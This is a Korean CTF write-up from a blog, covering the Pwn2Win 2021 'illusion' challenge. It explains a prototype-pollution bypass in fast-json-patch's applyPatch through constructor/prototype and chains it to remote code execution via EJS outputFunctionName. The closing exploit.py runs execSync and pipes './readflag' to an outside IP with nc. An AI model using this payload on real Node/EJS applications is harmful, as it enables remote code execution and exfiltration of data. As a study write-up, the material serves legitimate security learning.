ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Study] Pwn2Win CTF 2021 illusion Writeup
    CTF/Pwn2Win CTF 2021 2021. 6. 3. 20:43

    해당 서버에 접근하면 hashcash를 이용한 간단한 질문이 주어지는데, 이를 해결하면 아래와 같은 페이지로 접근 할 수 있는 접속 정보가 주어진다.

     

    주어진 소스를 살펴보자. 문제의 핵심은 아래 코드에 있다.

    // Homepage
    app.get("/", async (req, res) => {
        const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
        ##### ........................................................................(2)
        res.end(html)
    })
    
    // API
    app.post("/change_status", (req, res) => {
    
        let patch = []
    
        console.log(req.body)
    
        Object.entries(req.body).forEach(([service, status]) => {
    
            console.log(typeof(service))
            console.log(service)
            console.log(status)
            console.log(typeof(status))
            if (service === "status"){
                res.status(400).end("Cannot change all services status")
                return
            }
    
            patch.push({
                "op": "replace",
                "path": "/" + service, ##### ........................................ (3)
                "value": status
            })
        });
    
        jsonpatch.applyPatch(services, patch) ##### ................................. (1)
    
        if ("offline" in Object.values(services)){
            services.status = "offline"
        }
    
        res.json(services)
    })

    /change_status에 post 방식으로 {"cameras":"offline"} 과 같은 형식으로 데이터를 전송하면,

    (1)의 fast-json-fatch의 applyPatch 기능을 이용해서 각 장비의 상태를 변경하는 기능이다.

    nodejs json rce 등의 키워드로 구글링을 한 결과 nodejs/ejs 환경에서 Prototype Pollution 공격이 가능함을 확인하고, 방향성을 설정하여 여러 삽질을 하였다.

     

    문제가 되었던건 Prototype Pollution 공격에서 주로 __proto__ 가 활용되는데, 이를 방지하기 위해 ApplyPatch메소드에서는 __proto__의 사용이 제한되어 있다.

     

    이를 우회하고자 __proto__ 와 같거나 비슷한것이 있는지 조사했다. 관련하여 구글링을 하다가,

    https://stackoverflow.com/questions/650764/how-does-proto-differ-from-constructor-prototype

     

    How does __proto__ differ from constructor.prototype?

    function Gadget(name, color) { this.name = name; this.color = color; } Gadget.prototype.rating = 3 var newtoy = new Gadget("webcam", "black") newtoy.constructor.prototype.constructor.proto...

    stackoverflow.com

    등 페이지를 통해 __proto__ 와 constructor.prototype이 유사하다는 것을 확인했고, 테스트해보았다. 

     

    이제, Object.constructor.prototype을 활용해 어떻게 RCE를 성공시킬지에 대해 알아보자.

    https://littledev0617.tistory.com/5

     

    Node JS prototype pollution to RCE / express-fileupload@1.1.6 + EJS

    http://blog.p6.is/Real-World-JS-1/ posix님이 발견하신 CVE-2020-7699 취약점이 너무나 흥미로워 보였고, 유익한 내용이기에 적어본다. 실습 환경은 express-fileupload@1.1.6 버전을 사용해야한다. 우선, proto..

    littledev0617.tistory.com

    를 참조하면, __proto__.outputFunctionName 을 이용한 RCE 사례가 있다. 앞서 알게 되었듯, constructor.prototype과 __proto__는 동일하므로, constructor.prototype.outputFunctionName의 값에 RCE exploit 코드를 작성하면 문제를 해결 할 수 있다.

     

    index.ejs 파일을 보자.

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="color-scheme" content="dark">
    <meta name="theme-color" content="#282936">
    <title>Rhiza's security cameras</title>
    <link rel="stylesheet" href="/static/style.css">
    
    </head>
    <body>
    <div class="rhiza">
    <div class="container">
    <ul class="rhiza-navbar">
    
    <li><a href="#" style="font-weight:700">Rhiza's Security</a></li>
    </ul>
    </div>
    </div>
     <div class="container">
    <div id="psa" hidden></div>
    <div class="services-container">
    <div class="services">
    <div class="sep services-title">
    Rhiza's services
    </div>
    <div class="service">
    <span class="name"><a rel="noopener" target="_blank">All services</a> </span>
    <span class="status" id="services"><span class="<%= services.status %>"></span><%= services.status %></span>
    </div>
    <div class="service sep">
    <span class="name">Total services</span>
    <span class="status" id="total">4</span>
    </div>
    <div class="service">
    <span class="name">Security cameras</span>
    <span class="status" id="seccameras"><span class="<%= services.cameras %>"><%= services.cameras %></span></span>
    </div>
    <div class="service">
    <span class="name">Prisioners jail doors</span>
    <span class="status" id="doors"><span class="<%= services.doors %>"><%= services.doors %></span></span>
    </div>
    <div class="service">
    <span class="name">Rhiza's Dome</span>
    <span class="status" id="dome"><span class="<%= services.dome %>"><%= services.dome %></span></span>
    </div>
    <div class="service">
    <span class="name">Perimeter turrets</span>
    <span class="status" id="turrets"><span class="<%= services.turrets %>"><%= services.turrets %></span></span>
    </div>
    </body>
    </html>
    

     

    (2)를 통한 인자들이, services.cameras 와 같은 형식으로 넘어오는데, (3) 에서는 /cameras 처럼 슬래시(/)를 활용함을 알 수 있다.

    이를 통해 constructor.prototype.outputFunctionName 에 접근하기 위해서는 constructor/prototype/outputFunction 과 같이 처리해주어야 함을 알 수 있다.

    관련해서는 같은 팀원인 Pocas님의 자료에서 자세하게 확인 할 수 있다.

    https://pocas.kr/2021/05/31/2021-05-31-Prototype-Pollution-in-JsonPatch/

     

    Prototype Pollution in fast-json-patch module

    TR;DL Prototype Pollution Analysis : Introduce 위 사진을 보면 fast-json-patch 모듈의 applyPatch() 메서드를 이용해서 a라는 메서드를 패치 시켜주는데, 이때 내부 오퍼레이션에 의해서 Prototype Pollution 취약점이

    pocas.kr

     

    위 공부한 내용을 토대로 아래와 같이 exploit.py 코드를 작성 후 실행시키면 플래그를 획득 할 수 있다. 주의할점은, 최종 RCE 실행은 ejs환경에서 실행되므로, 메인 페이지를 새로고침 해야 삽입한 코드가 로딩되면서 개인 서버에 플래그가 전송 된다.

    import requests, json
    
    URL = 'http://illusion.pwn2win.party:11018/change_status' 
    
    headers = {'Content-Type':'application/json', 'Authorization':'Basic YWRtaW46b25ib2hram1hb2ttendreg=='}
    
    data = {"constructor/prototype/outputFunctionName": "x; process.mainModule.require('child_process').execSync('./readflag | nc 118.32.182.8 8888');x" }
    res = requests.post(URL, headers=headers ,data=json.dumps(data))
    
    print(res.text)
    
    

     

    FLAG = CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}

    반응형

    댓글

Designed by Tistory.